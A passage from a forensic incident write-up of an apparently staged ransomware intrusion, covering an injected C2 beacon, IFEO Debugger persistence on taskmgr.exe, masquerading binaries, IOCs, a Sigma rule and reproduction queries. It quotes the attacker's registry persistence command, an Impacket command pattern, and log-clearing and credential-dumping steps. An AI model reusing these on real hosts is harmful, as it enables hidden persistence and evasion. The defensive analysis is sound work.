Cognito identity-pool enumerationWould surface mobile-app identity pools tied to the account (if any)We have no evidence of Cognito use in CloudTrail; likely no pools exist
SNS topic / SQS queue ARN enumerationWould surface pub-sub infrastructure tied to the accountNo hints in corpus; would be guesswork
DD31.5 — Complete passive-account profile
Account ID:              464381121764
Primary region:          us-east-2 (Ohio)
Active window:           2026-02-22 → 2026-03-08 (CloudTrail observation)
Root auth posture:       Console login + MFA (216.82.9.162)
GuardDuty:               Enabled (detector 5ece44daaaff87fc5f1a7d3edbe49787)
CloudTrail:              Enabled (default trail, bucket -c4e35ae2)
EC2 workload:             i-00779ebad43b2470d (IIS server for barrygoodtech.com)

IAM users:               donnieworks, doctorderm, coolcat, jb_aws_cli  (4)
IAM roles:               iam_role_iisserver (instance profile)

S3 buckets (all us-east-2):
  sfcu-records                                  (decoy data, 164 files)
  barry-testing123123                           (author's scratch)
  barry-gd-bucket                               (GuardDuty output)
  aws-cloudtrail-logs-464381121764-c4e35ae2     (standard default trail)

Bucket public-access controls: All 4 buckets ListBucket-denied +
                               bucket-metadata endpoints all 403 +
                               no public objects found by wordlist-probe
DD31.6 — Author's second AWS account (tool hosting)
Account ID:             [unknown, different from 464381121764]
Region:                 us-east-1 (N. Virginia)
Bucket:                 bigmac.io  (public-read per-object, ListBucket denied)
Known objects:          /index.html  (1.8 KB, decoy BigMac.io homepage)
                        /kape.zip    (163 MB, author KAPE bundle + OpSec leak DD29)
DD31.7 — Reproduction commands
# Verify every scenario bucket exists + get region
for b in sfcu-records barry-testing123123 barry-gd-bucket aws-cloudtrail-logs-464381121764-c4e35ae2; do
  curl -sk -I "https://${b}.s3.amazonaws.com/" | grep -iE "HTTP|x-amz-bucket-region"
done

# Cross-account ownership test for bigmac.io
curl -skI -H "x-amz-expected-bucket-owner: 464381121764" \
  https://bigmac.io.s3.amazonaws.com/kape.zip
# → 403 Forbidden = bigmac.io NOT owned by 464381121764

DD32. Thirty-second pass — Unknown C2 PE deep-dive: a 22-import minimal-IAT reflective loader compiled on the C2 operator's box at 20:00:25, then shipped live to the running rnSylwOz.exe beacon for Explorer injection

DD21 established the VAD dump is a valid PE. DD24 established the on-disk rnSylwOz.exe and the VAD dump differ in hash. DD32 pulls the PE metadata out of the VAD dump, finds a compile-timestamp-after-drop anomaly, and concludes the Explorer-injected beacon is a live-delivered second-stage module, not a reflective-load of the on-disk rnSylwOz.exe.

DD32.1 — The PE timestamp anomaly
EventUTCSeconds elapsed
rnSylwOz.exe dropped on SVR01 (USN 2100)19:58:38.7940
rnSylwOz.exe executed (Sysmon EID 1)19:59:00.854+22 s
rnSylwOz.exe first C2 phone-home (EID 3)19:59:02.649+24 s
VAD-dump PE TimeDateStamp20:00:25+107 s (1 min 47 s AFTER drop)
CreateRemoteThread → Explorer PID 1332 (EID 8)20:01:16.676+158 s
Thread 10020 dumps LSASS (EID 10)20:03:30.860+292 s

The PE in memory was compiled 107 seconds AFTER rnSylwOz.exe landed on disk. That is chronologically impossible if the Explorer-injected beacon is just rnSylwOz.exe reflectively loaded. The only consistent explanation:

  1. rnSylwOz.exe is a stage-1 loader — dropped, executed, connects to Unknown C2 Framework at 173.230.136.180:8443
  2. At 20:00:25 (51 seconds after the phone-home), the C2-side operator runs mingw-w64-gcc (or Unknown C2's build-server equivalent) to produce a fresh reflective-load module on their workstation
  3. C2 ships the fresh module over the Unknown C2 HTTPS channel to the running beacon
  4. The beacon performs CreateRemoteThread at 20:01:16 loading the freshly-compiled module into Explorer's address space
  5. The injected module dumps LSASS at 20:03:30

This is the standard Unknown C2 execution pattern — small on-disk loader, live-delivered second-stage modules. It's also why a signature based on the on-disk hash alone (DD24 rnSylwOz 91813A2A…) misses the in-memory code. YARA rules must match the in-memory form (the strings \\.\pipe\%08lx, _Z11GetVersionsv, file.dll) rather than the disk hash.

DD32.2 — PE structure and build-toolchain fingerprint
Architecture:             PE32+ (x64)
Machine:                  0x8664 (IMAGE_FILE_MACHINE_AMD64)
Linker:                   GNU ld 2.41  (MinGW-w64 toolchain)
TimeDateStamp:            0x69ADD559 = 2026-03-08T20:00:25Z
Sections (11):
  .text    0x1000   0x135B8   RX     (main code, 78 KB)
  .data    0x15000  0x3B0     RW     (initialized data)
  .rdata   0x16000  0x550     R      (read-only consts)
  .pdata   0x17000  0x1B0     R      (x64 unwind info)
  .xdata   0x18000  0x168     R      (x64 exception data)
  .bss     0x19000  0x10140   RW     (uninit heap, 65 KB virtual)
  .edata   0x2A000  0x4C      R      (export dir — file.dll!_Z11GetVersionsv)
  .idata   0x2B000  0x368     RW     (IAT — 22 imports)
  .CRT     0x2C000  0x58      RW     (MinGW CRT init)
  .tls     0x2D000  0x10      RW     (TLS)
  .reloc   0x2E000  0x94      R      (base relocations)
Entry point:              0x1340  (within .text)
DD32.3 — The 22-function minimal import table

The full IAT:

DLLFunctions
KERNEL32.dll (9)DeleteCriticalSection · EnterCriticalSection · GetLastError · InitializeCriticalSection · LeaveCriticalSection · Sleep · TlsGetValue · VirtualProtect · VirtualQuery
msvcrt.dll (13)__iob_func · _amsg_exit · _initterm · _lock · _unlock · abort · calloc · free · fwrite · realloc · strlen · strncmp · vfprintf

What is NOT imported:

  • No network APIs (WSAStartup, connect, InternetOpen, WinHttpOpen) — the beacon resolves these dynamically via LoadLibrary/GetProcAddress (themselves resolved via manual PEB walk)
  • No process-injection APIs (CreateRemoteThread, VirtualAllocEx, WriteProcessMemory) — same
  • No crypto APIs (BCrypt*, CryptAcquireContext) — same
  • No file APIs (CreateFile, ReadFile) — same

This tiny IAT is the signature of a reflective-loader stub. Everything the beacon needs to do its job — beaconing, injection, file-system access, crypto — is done via API-resolution-at-runtime, invisible to static import-table analysis. Signatures based on import-hash (IMPHASH C86A15AD… for iis.exe, 37E28CA3… for rnSylwOz.exe, 6C45208F… for IamBatman.exe from DD24) only capture the loader shell, not the actual capability.

DD32.4 — Build-environment attribution narrowed
  • Linker GNU ld 2.41 (released 2023-07-27) — rules out pre-2023 toolchains
  • MSVCRT import — MinGW-w64 default (not UCRT, not MSVC). C2 source tree's CMake targets mingw-w64-gcc by default (see [C2 source path — RE analysis not performed in this engagement])
  • MinGW-w64 CRT string: Mingw-w64 runtime failure: present in .rdata, unique to MinGW-w64 runtime startup
  • Name-mangling scheme: _Z11GetVersionsv is Itanium C++ ABI mangling (g++ / clang++ default on non-Windows), not MSVC's ?GetVersions@@YAXXZ mangling — another MinGW-w64 tell

Consistent with an Unknown C2-Framework build built from stock source on a Linux host using MinGW-w64 cross-compiler — which is the Unknown C2 project's documented build workflow. If the operator is running the C2 on the Linode VPS (173.230.136.180) with Unknown C2 installed there, mingw-w64-gcc on the same VPS would produce this exact binary.

DD32.5 — Implications for YARA + IMPHASH based detection
  • IMPHASH alone is insufficient for Unknown C2 detection: the IAT is too small to be a unique fingerprint. The three IMPHASHes we observed (iis.exe / rnSylwOz.exe / IamBatman.exe in DD24) probably collide with other MinGW-w64 minimal-IAT binaries.
  • String-based YARA is the right path: the three indicators (\\.\pipe\%08lx, _Z11GetVersionsv, file.dll) are distinctive and survive reflective loading (the strings are in the loaded .rdata section of the unpacked code).
  • Rule: c2_reflective_loader in detections/yara/c2_ioc.yar (in this writeup's detection pack) implements this correctly.
DD32.6 — Reproduction commands
# Verify the VAD dump has an MZ header
head -c 2 /tmp/vol_out/malfind_dump/pid.1332.vad.0xa60000-0xa8efff.dmp | od -An -tx1
# Expected: 4d 5a

# Parse the PE timestamp
python3 -c "
import struct, pathlib
d = pathlib.Path('/tmp/vol_out/malfind_dump/pid.1332.vad.0xa60000-0xa8efff.dmp').read_bytes()
e_lfanew = struct.unpack_from('<I', d, 0x3C)[0]
timedate = struct.unpack_from('<I', d, e_lfanew+8)[0]
from datetime import datetime, timezone
print(datetime.fromtimestamp(timedate, timezone.utc).isoformat())
"
# Expected: 2026-03-08T20:00:25+00:00

DD33. Thirty-third pass — previously-undocumented persistence: aws_backup.exe IFEO-Debugger hijack on WS01 + attacker operator workstation hostname is kali

Mining Explorer-written-file events in the attack window surfaces a file we hadn't seen: C:\ProgramData\aws_backup.exe, dropped to WS01 at 20:37:03.035Z. Thirty-two seconds later a reg add configures an Image File Execution Options Debugger hijack pointing Task Manager at this binary. That's MITRE T1546.012 — a stealthy persistence technique we didn't previously document, giving the attacker a fourth independent re-entry path on top of the three credential stockpiles from DD16/DD22/DD26.

DD33.1 — The WS01 attacker session + IFEO setup
UTCEventDetail
20:34:45Security 4624 LAFAdmin NTLM from 198.51.100.10 (IIS)First smbexec-style remote auth to WS01
20:35:27Security 4624 LAFAdmin NTLM, workstation name kaliAttacker's operator-workstation host-name revealed — confirms the Linode VPS 172.236.127.251 is running Kali Linux (matches DD23's Mozilla/5.0 (X11; Linux x86_64…Firefox/140.0 user-agent)
20:35:29Security 4624 LAFAdmin logon type 10 (RDP)Attacker initiates RDP to WS01
20:37:03.035EID 11 C:\ProgramData\aws_backup.exe written by ExplorerBinary dropped (masquerades as "aws backup" to blend in with AWS tooling)
20:37:35.194EID 1 reg.exe with IFEO hijackThe persistence: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d C:\ProgramData\aws_backup.exe /f
Parent was powershell.exe. MD5 of reg.exe: CDB58D0BCABE76AFC60428F364834463 (legit Microsoft).
DD33.2 — How IFEO Debugger hijack works (MITRE T1546.012)

The Image File Execution Options registry key was designed by Microsoft for debugger-attach-on-launch: set Debugger=<your_debugger> under IFEO\.exe and Windows will launch <your_debugger> .exe instead of <target>.exe directly. This lets developers debug a process from the moment it starts.

Attackers abuse it by setting Debugger=<malicious.exe>, turning any legit binary into a launcher for their payload. The classic target is sethc.exe (Sticky Keys, runs at login screen without user context — DD14.5 walk-back); a modern target is taskmgr.exe (runs when any user hits Ctrl+Shift+Esc). Every time a user launches Task Manager, the attacker's payload runs first with that user's privileges.

In the null404 scenario:

  • Target binary: taskmgr.exe (Task Manager)
  • Payload: C:\ProgramData\aws_backup.exe (attacker-dropped)
  • Trigger: any user on WS01 launching Task Manager. Survives reboot. Fires at user-level privileges (whatever the user-who-launched-taskmgr has).
  • Naming choice: aws_backup.exe in C:\ProgramData looks like an AWS-related system tool — blends with environment branding (compare msupdate.exe renaming of makecab in DD11.5)
DD33.3 — aws_backup.exe was never executed during the capture window

Query: SELECT * FROM events WHERE eid=1 AND image LIKE '%aws_backup%'zero rows. Sysmon would have fired EID 1 (ProcessCreate) if aws_backup.exe ran. It didn't — no user on WS01 hit Task Manager between 20:37:35 and the end of the corpus at 22:56:42 (2 hours 19 minutes later).

This is a FOURTH stockpile-without-use persistence instance, matching the pattern from DD16 (AWS keys unused), DD22 (SAM hashes unused), and DD26 (serviceaccount DA unused). The operator drops the persistence, waits for the trigger, never fires it during the active attack. Same tradecraft — steal/create, don't test, rely on the already-active identity for the operation, leave the dormant artifacts for a future campaign.

DD33.4 — Updated full persistence inventory
#Persistence mechanismLocationTriggered in capture?
13× AWS AKIA long-term access keys (DD16)AWS account 464381121764 (donnieworks / doctorderm / coolcat)No
2Local Administrator + localuser SAM NT hashes (DD22)SVR01 SAM (and replicable via PtH to any host with same local-Admin password)No
3serviceaccount Domain Admin account (DD26)AD forest (replicated to DC01 + DC02)No
4aws_backup.exe IFEO Debugger hijack on taskmgr.exe (DD33)WS01 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exeNo

Four independent persistence mechanisms, zero triggered during the attack. An IR team that only looked at active attacker traffic would miss every one. The remediation matrix is now four rows, not three.

DD33.5 — Attacker operator-workstation attribution narrowed

The Security 4624 event at 20:35:27 carries the attacker-side WorkstationName field kali — the default hostname of a Kali Linux installation. Corroborates the DD23 browser User-Agent (Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Firefox/140.0 = Linux Firefox 140, matches Kali Rolling's bundled Firefox). Together these give a confident fingerprint: the attacker's operator workstation (Linode 172.236.127.251) is a Kali Linux instance, probably with the default hostname left un-changed.

In IFEO detection rules (detections/sigma/), the WorkstationName=kali field on NTLM auth events against business hosts is a high-confidence IOC on its own. Real corporate workstations don't have hostname "kali".

DD33.6 — Updated detection pack note

Adding a Sigma rule for IFEO Debugger hijack. The detection is trivial:

title: IFEO Debugger Registry Modification
detection:
  selection:
    EventID: 1
    Image|endswith: '\reg.exe'
    CommandLine|contains|all:
      - 'Image File Execution Options'
      - '/v Debugger'
      - 'HKLM'
  condition: selection
level: critical
DD33.7 — Reproduction queries
-- The IFEO Debugger hijack command
SELECT host, time_utc, substr(command_line, 1, 250) FROM events
WHERE source_type='evtx' AND eid=1
  AND command_line LIKE '%Image File Execution Options%';
-- 1 row: WS01 20:37:35 reg add IFEO\taskmgr.exe Debugger

-- Attacker workstation name 'kali' on WS01 NTLM auth
SELECT host, time_utc, target_user_name, ip_address, workstation
FROM events WHERE source_type='evtx' AND channel='Security' AND eid=4624
  AND workstation='kali';

-- aws_backup.exe never executed (stockpile)
SELECT COUNT(*) FROM events
WHERE source_type='evtx' AND eid=1 AND image LIKE '%aws_backup%';
-- 0 rows

DD34. Thirty-fourth pass — final file-system sweep: SolarWinds.exe masquerade on IIS (same hash as rnSylwOz.exe), AWSCLIV2 install under Donny's profile, BYl0HFxW.exe browser-download, and the complete undocumented-artifact catalog

DD33 surfaced IFEO persistence. DD34 is a final full-sweep of USN FileCreate events during the attack window for any remaining attacker artifact we haven't documented. Three new items surface, plus an important hash-reconciliation that ties SolarWinds.exe on IIS to rnSylwOz.exe on SVR01.

DD34.1 — SolarWinds.exe on IIS = rnSylwOz.exe on SVR01 (same binary, two masquerades)
IIS    19:16:52 USN 2100 create       C:\TFTP Server\SolarWinds.exe
IIS    19:38:03 Sysmon EID 1 execute  "C:\TFTP Server\SolarWinds" TFTP Server.exe
       Hashes: MD5=AA1097F847964B5E5DA27834CE576AC8
               SHA256=91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F
               IMPHASH=37E28CA3C643B664ACC2275611365DB0

SVR01  19:58:38 USN 2100 create       \\10.3.10.12\ADMIN$\rnSylwOz.exe
SVR01  19:59:00 Sysmon EID 1 execute  \\10.3.10.12\ADMIN$\rnSylwOz.exe
       Hashes: (identical to the above — SHA256 91813A2A...E81F)

Same file, two names. On IIS the attacker dropped it into C:\TFTP Server\ — the directory where the legitimate lab-installed SolarWinds TFTP Server.exe lives — renaming the binary to SolarWinds.exe to blend in. On SVR01 they dropped it to ADMIN$ with a random-looking name (rnSylwOz.exe) instead. Two T1036.005-style masquerades on the same binary for different environments.

The IIS invocation is particularly clever: "C:\TFTP Server\SolarWinds" TFTP Server.exe — the quoted first token resolves to C:\TFTP Server\SolarWinds.exe (attacker file) and the unquoted remainder TFTP Server.exe becomes the command-line argument. Looks at a glance like someone is invoking the legitimate SolarWinds TFTP Server, but the actual executable run is the C2 beacon. Unquoted-path trick.

DD34.2 — AWS CLI V2 installed on IIS under Donny's user context
UTCEvent
19:41:51 / 19:41:54Security 4624 NTLM logon as Donny from 71.205.100.56 workstation LAF-WS01 — Donny legitimately browsing barrygoodtech.com (DD23.1 end-user attribution) happens to authenticate to IIS in the process
19:48:18USN 2100 C:\Users\donny\Downloads\AWSCLIV2.msi + .xmgE035J.msi.part suffix (Edge/MS-Installer download-in-progress)
19:48:26Sysmon EID 1: msiexec /i "C:\Users\donny\Downloads\AWSCLIV2.msi", User LAF\Donny, parent explorer.exe
19:48:55 - 19:49:13AWS CLI components unpacked: aws.exe · aws_completer.exe · python3.dll · python313.dll · libcrypto-3.dll · libssl-3.dll · libffi-8.dll · sqlite3.dll · VCRUNTIME140.dll (landing in C:\Program Files\Amazon\AWSCLIV2\)

Attribution ambiguity: the User token on these events is LAF\Donny, not SYSTEM or LAFAdmin. Two interpretations:

  1. Legitimate Donny admin activity — Donny is a domain user who administers IIS and installed AWS CLI as part of normal operations. His 19:41 logon from his own home Comcast IP (also 71.205.100.56) is part of this.
  2. Attacker impersonating Donny — the SYSTEM-level attacker used token-manipulation or runas to execute as Donny, then ran msiexec. This would explain the Explorer parent (attackers rarely spawn msiexec from Explorer unless impersonating a user).

The evidence doesn't cleanly distinguish. Either way, by 19:49:13 the IIS host has a full functional aws.exe at C:\Program Files\Amazon\AWSCLIV2\aws.exe, available to any subsequent process that wants AWS API access. The later IMDSv2 three-step (DD23.5) used Invoke-RestMethod rather than aws.exe, suggesting the CLI may have been installed but ultimately unused from IIS — the attacker pivoted to using the stolen credentials from their own Linode instead (212.8.249.213).

DD34.3 — BYl0HFxW.exe — browser-downloaded binary on SVR01 (never executed)

At 20:17:32 on SVR01, a file appears: BYl0HFxW.exe with matching BYl0HFxW.exe.part (Firefox download-in-progress extension). No process-execution event for this binary anywhere in the corpus — dropped but never run. Likely an attacker tool they downloaded via Firefox during the RDP session but chose not to use. Random alphanumeric name is consistent with Firefox's Save-As default for unnamed downloads or with an attacker deliberately obfuscating.

Five further stockpile entries to add to the residual-risk inventory:

DD34.4 — Complete unused-artifact / stockpile inventory (final)
#ArtifactTypeHostUsed in capture?
13× AWS AKIA access keysCredentialAWS account 464381121764No (DD16)
2Admin + localuser SAM NT hashesCredentialSVR01No (DD22)
3serviceaccount Domain Admin accountCredentialAD forestNo (DD26)
4aws_backup.exe IFEO hijack on taskmgr.exePersistenceWS01No (DD33)
5BYl0HFxW.exe (Firefox download)ToolSVR01No (DD34.3)
6AWS CLI V2 install on IISToolIISPossibly unused from IIS (DD34.2)
7Firefox.exe masquerade on LAFAdmin Desktop (Prefetch 11BBBDDD)ToolSVR01Prefetch shows one execution at 20:16:44 (DD11.3)

6 of 7 artifacts never used, or used once then dropped. The operator's "plant but don't test" discipline is remarkably consistent: every tool/credential touches down once, maybe executes briefly, then sits dormant until a future campaign.

DD34.5 — Final IOC additions to detections
  • File path: C:\TFTP Server\SolarWinds.exe (attacker masquerade in SolarWinds TFTP directory)
  • Process command line: "C:\TFTP Server\SolarWinds" TFTP Server.exe (unquoted-path invocation trick)
  • File path: C:\ProgramData\aws_backup.exe (IFEO Debugger payload)
  • Registry key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = C:\ProgramData\aws_backup.exe
  • Workstation name: kali on incoming NTLM auth (DD33.5)
  • Download pattern: BYl0HFxW.exe via Firefox .part (random 8-char browser-saved binary)
DD34.6 — Reproduction queries
-- SolarWinds.exe / rnSylwOz.exe hash equivalence
SELECT host, image, json_extract(data_json,'$.Hashes')
FROM events WHERE source_type='evtx' AND eid=1
  AND (image LIKE '%SolarWinds%' OR image LIKE '%rnSylwOz%')
GROUP BY host, image;
-- both have SHA256 91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F

-- AWS CLI install chain on IIS
SELECT time_utc, target_filename FROM events
WHERE host='IIS' AND source_type='usn'
  AND target_filename IN ('AWSCLIV2.msi','aws.exe','aws_completer.exe','python313.dll')
ORDER BY time_utc;

-- BYl0HFxW.exe dropped but not executed
SELECT host, time_utc, target_filename FROM events
WHERE source_type='usn' AND target_filename LIKE '%BYl0HFxW%';
SELECT COUNT(*) FROM events WHERE source_type='evtx' AND eid=1 AND image LIKE '%BYl0HFxW%';
-- → files present, 0 executions

Ω. Evidence provenance — reproduce every non-trivial number in this document

For a peer DFIR reviewer: this table is the single source of truth mapping each quantitative claim in the writeup to the exact SQL query against the unified corpus SQLite that reproduces it. Run against /tmp/null404_bench.sqlite (or re-ingest from the KAPE tree using backend/dfir/ingest_all.py). Results were last verified on 2026-04-20 against corpus version parser_version=2026.04.20-prod1, total_events=7,819,925.

ClaimValueReproduction query
Total ingested events7,819,925SELECT COUNT(*) FROM events;
Cloud rowscloudtrail=36,938 · guardduty=401 · s3_access=38SELECT source_type, COUNT(*) FROM events WHERE source_type IN ('cloudtrail','guardduty','s3_access') GROUP BY source_type;
Volatility rows704SELECT COUNT(*) FROM events WHERE source_type='volatility';
Files encrypted per hostWS02 2,014 · WS01 1,884 · SVR01 1,241 · DC01 496 · DC02 388 · total 6,023 + 2,530 ransom notes · last-encrypt 22:56:42 (DD13)SELECT host, COUNT(*) FROM events WHERE target_filename LIKE '%.bWqQUx' AND eid IN (11,2100) AND time_utc >= '2026-03-08T21:58:00' GROUP BY host;
Peak encryption rate1,790 files / 60 s on WS02 at 22:08SELECT substr(time_utc,12,5), COUNT(*) FROM events WHERE host='WS02' AND target_filename LIKE '%.bWqQUx' AND eid IN (11,2100) GROUP BY 1;
164 S3 exfil objects164 REST.GET.OBJECT from 212.8.249.213SELECT COUNT(*) FROM events WHERE source_type='s3_access' AND data_json LIKE '%212.8.249.213%' AND data_json LIKE '%REST.GET.OBJECT%';
11,327 bytes exfiltratedsum of additionalEventData.bytesTransferredOut on the 164 GetObject// Parse CloudTrail rows where eventName='GetObject' and sourceIPAddress='212.8.249.213'; sum the bytesTransferredOut field in additionalEventData.
Shadow-copy GUID (VSS IOC){af18f363-a0d3-41f2-981b-6feb95339269}SELECT time_utc, command_line FROM events WHERE command_line LIKE '%af18f363-a0d3-41f2%';
Beacon SHA256 (SMB pivot)91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F dropped on 2 hostsSELECT host, COUNT(*) FROM events WHERE eid=1 AND data_json LIKE '%91813A2A087B3110%' GROUP BY host;
Injected VAD SHA2566ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228csha256sum /tmp/vol_out/malfind_dump/pid.1332.vad.0xa60000-0xa8efff.dmp
CreateRemoteThread smoking gunSysmon 8 · SourcePID 9112 → TargetPID 1332 · NewThreadId 10020 · StartModule='-'SELECT data_json FROM events WHERE host='SVR01' AND eid=8 AND data_json LIKE '%TargetProcessId": 1332%' AND time_utc LIKE '2026-03-08T20:01:16%';
LSASS dump CallTracentdll.dll+a0e44 | UNKNOWN(00007DF4BAAF2622)SELECT data_json FROM events WHERE host='SVR01' AND eid=10 AND time_utc LIKE '2026-03-08T20:03:30%';
Impacket 5-stage service namesUnmfmnOL · QsYyAARL · XCCVTGUb · SOUwKZNf · PovLjNTr on DC01 in 20 sSELECT time_utc, substr(data_json, instr(data_json,'ServiceName'), 40) FROM events WHERE host='DC01' AND eid=7045 AND time_utc >= '2026-03-08T20:08:00' AND time_utc < '2026-03-08T20:10:00';
DisableRestrictedAdmin propagation4 hosts, 2 tradecraft modes — see Addendum DSELECT host, time_utc, user_name FROM events WHERE target_object LIKE '%DisableRestrictedAdmin%' AND eid=13 AND time_utc >= '2026-03-08T20:00:00' ORDER BY time_utc;
Kerberos 4768 first WAN signal2026-03-08 19:33:20 · IIS-SERV-PROD$ · from 198.51.100.10SELECT MIN(time_utc), ip_address, target_user_name FROM events WHERE eid=4768 AND ip_address LIKE '::ffff:198.51.100.%' AND target_user_name LIKE '%$';
IMDSv2 3-step sessions21:25:35 PUT · 21:28:07 GET list · 21:29:20 GET role credsSELECT time_utc, details FROM events WHERE host='IIS' AND source_type='ps_transcript' AND details LIKE '%169.254.169.254%' ORDER BY time_utc;
Off-instance STS first-use gap13 min (21:29:20 steal → 21:42:11 off-instance)SELECT MIN(time_utc) FROM events WHERE source_type='cloudtrail' AND data_json LIKE '%212.8.249.213%' AND data_json LIKE '%GetCallerIdentity%';
IAM persistence errorLimitExceededException · "Cannot exceed quota for AccessKeysPerUser: 2"SELECT data_json FROM events WHERE source_type='cloudtrail' AND channel='CreateAccessKey' AND time_utc LIKE '2026-03-08T21:45:38%';
RDP session map7 attacker + 6 IR sessions — see Addendum MSELECT host, time_utc, ip_address, target_user_name FROM events WHERE eid=4624 AND data_json LIKE '%LogonType\": 10%' AND time_utc >= '2026-03-08T18:00:00' ORDER BY time_utc;
LogDel.bat scope6 channels cleared in 230 ms on SVR01 21:08:28SELECT time_utc, command_line FROM events WHERE host='SVR01' AND command_line LIKE '%wevtutil%cl%' AND time_utc >= '2026-03-08T21:00:00' AND time_utc < '2026-03-08T21:10:00' ORDER BY time_utc;
Beacon uplink duration2h 48m (19:59:00 → 22:46:45) still ESTABLISHEDSELECT data_json FROM events WHERE source_type='volatility' AND channel='windows.netstat.NetStat' AND data_json LIKE '%173.230.136.180%';
SYSVOL dropsIamBatman.exe 21:03:54 + sysAV.bat 21:04:05 by explorer.exe PID 3272 (LAFAdmin)SELECT time_utc, substr(data_json, 1, 200) FROM events WHERE host='DC02' AND eid=11 AND (target_filename LIKE '%IamBatman%' OR target_filename LIKE '%sysAV%');
Attacker IP rDNS172-236-127-251.ip.linodeusercontent.com (Linode) · 173-230-136-180.ip.linodeusercontent.com (Linode) · 212-8-249-213.hosted-by-worldstream.net (NL)host 172.236.127.251 · host 173.230.136.180 · host 212.8.249.213 (from any DNS resolver)
Prefetch first-run for rnSylwOz.exe2026-03-08 19:59:10.865 · RNSYLWOZ.EXE-E4BE7640.pfSELECT host, time_utc, target_filename FROM events WHERE source_type='mft' AND target_filename LIKE 'RNSYLWOZ.EXE-%.pf';
GuardDuty = sample findings only299 of 401 rows reference i-99999999 placeholderSELECT COUNT(*), SUM(CASE WHEN data_json LIKE '%i-99999999%' THEN 1 ELSE 0 END) FROM events WHERE source_type='guardduty';

How to re-verify end-to-end:

  1. Obtain the triage bundle (JackOfAllHacks-Triages/) — six KAPE zips + cloud zip + 17 GB memdump.
  2. Run python -m backend.dfir.ingest_all --tree <kape_root> --db /tmp/null404.sqlite (≈30 min).
  3. Run python -m backend.dfir.ingest_cloud --tree <cloud_root> --db /tmp/null404.sqlite --host cloud (≈3 min).
  4. Run python -m backend.dfir.ingest_volatility --image SVR01-memdump.dmp --db /tmp/null404.sqlite --host SVR01 (≈30 min).
  5. Run python -m backend.dfir.sigma_hunt --db /tmp/null404.sqlite --rebuild-fts.
  6. Execute each SQL above against the corpus. The returned values will match this document (modulo parser-version differences recorded in ingest_runs table).

Chain of custody: the ingest pipeline writes ingest_runs(id, tool, tool_version, started_at, finished_at, args_json, stdout, stderr, exit_code) per execution and stamps each events.file_id with the originating files(source_path, channel, records, ingested_at). Every row in the corpus is traceable to a specific file on disk with a SHA-256 in the MFT/USN source material. No events were hand-edited; the two manual inserts (hashdump rows EID 9400, malfind-dump rows EID 9301) are explicitly marked via file_id pointing to the SVR01 memory-dump file_id rather than a .evtx file.

K. Persistent IOCs — pin-able indicators for detection engineering

Artifacts that survive the kill chain and can be written into detection rules / hunts as stable anchors:

IOCValueHow to hunt
Shadow Copy GUID{af18f363-a0d3-41f2-981b-6feb95339269}any vssadmin delete shadows /shadow=<GUID> targeting this specific GUID on any host is a proven-attacker action — in real deployments shadow-GUIDs differ per-execution, so use this only as a case-bound IOC
Impacket ImagePath regex%COMSPEC% /Q /c echo .* \^> %SYSTEMROOT%\\Temp\\__output > %TEMP%\\execute\\.bat & %COMSPEC% /Q /c %TEMP%\\execute\\.batfires on Security EID 7045 + 4697 for any impacket secretsdump/psexec/smbexec/atexec regardless of 8-char service name
Beacon SHA256 (SMB pivot)91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81Ffile hash: dropped to C:\TFTP Server\SolarWinds.exe and \\*\ADMIN$\<random8>.exe on same engagement
Beacon IMPHASH (SMB pivot)37E28CA3C643B664ACC2275611365DB0import-hash match — catches recompiled variants with different SHA256
Beacon SHA256 (HTTP/TLS)EFB53903203ACE7E48190EDEDCA991505032C7FBA47B99BA6363C674862C9681initial IIS foothold iis.exe
Injected-DLL SHA2566ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228cmemory-resident reflective-loader stub; hunt via volatility/malfind + hash match
Named-pipe regex\\\\\\.\\\\pipe\\\\[0-9a-f]{8}Sysmon EID 17 (PipeEvent Created) with 8-hex-char pipe name + parent services.exe = OSS SMB-pivot beacon
C2 destination173.230.136.180:8443hunt outbound TCP to this IP from any internal host — Linode VPS running modern-OSS-C2 listener
Exfil destinations172.236.127.251:22 (SFTP) / 212.8.249.213 (cloud)on-prem SFTP push + off-instance CloudTrail sourceIPAddress
Beacon compile timestamp2026-03-08 20:00:25 UTCPE TimeDateStamp for injected DLL — campaign-specific build marker

VT. VirusTotal public-web enrichment — every hash + IP queried, results logged

Every beacon / ransomware / renamed-LOLBIN hash and every attacker IP was queried against the public VirusTotal web UI (no API key, results point-in-time for 2026-04-20). Three takeaways: (1) the attacker's custom binaries are never-seen samples — zero VT coverage, a strong signal that these were campaign-specific builds not shared public-sphere tooling; (2) the renamed msupdate.exe is confirmed Microsoft-distributed makecab.exe (LOLBIN proof); (3) 212.8.249.213 is flagged by one vendor as a known VPN service.

ArtifactTypeVT resultInterpretation
iis.exe SHA256 EFB53903…9681binaryItem not foundNever submitted — fresh build for campaign
SolarWinds.exe / rnSylwOz.exe SHA256 91813A2A…7E81FbinaryItem not foundSame — never submitted
IamBatman.exe SHA256 B9550186…1D47ransomwareItem not foundCustom ransomware, zero public coverage
Injected-DLL (VAD) SHA256 6ef6b52f…228cmemory-only DLLItem not foundMemory-resident — never written to disk, never submitted
msupdate.exe SHA256 59A1045B…1A12renamed-LOLBIN0/72 · known-distributor · lolbin · peexe · 64bitsMicrosoft-signed makecab.exe confirmed. Renaming LOLBINs into C:\ProgramData\ is the tradecraft, not the binary itself.
IP 172.236.127.251 (Linode delivery+SFTP)IP0/94 · all UnratedNever evaluated by the community — fresh attacker infra
IP 173.230.136.180 (Linode C2:8443)IP0/94 · mostly CleanLast analysed 1 day ago — still clean-rated despite active C2 use
IP 212.8.249.213 (WorldStream NL cloud egress)IP0/94 malicious · 1/94 suspicious (SOCRadar) · tagged vpnSingle-vendor flag + VPN tag — consistent with bulletproof-ish VPN for cloud egress

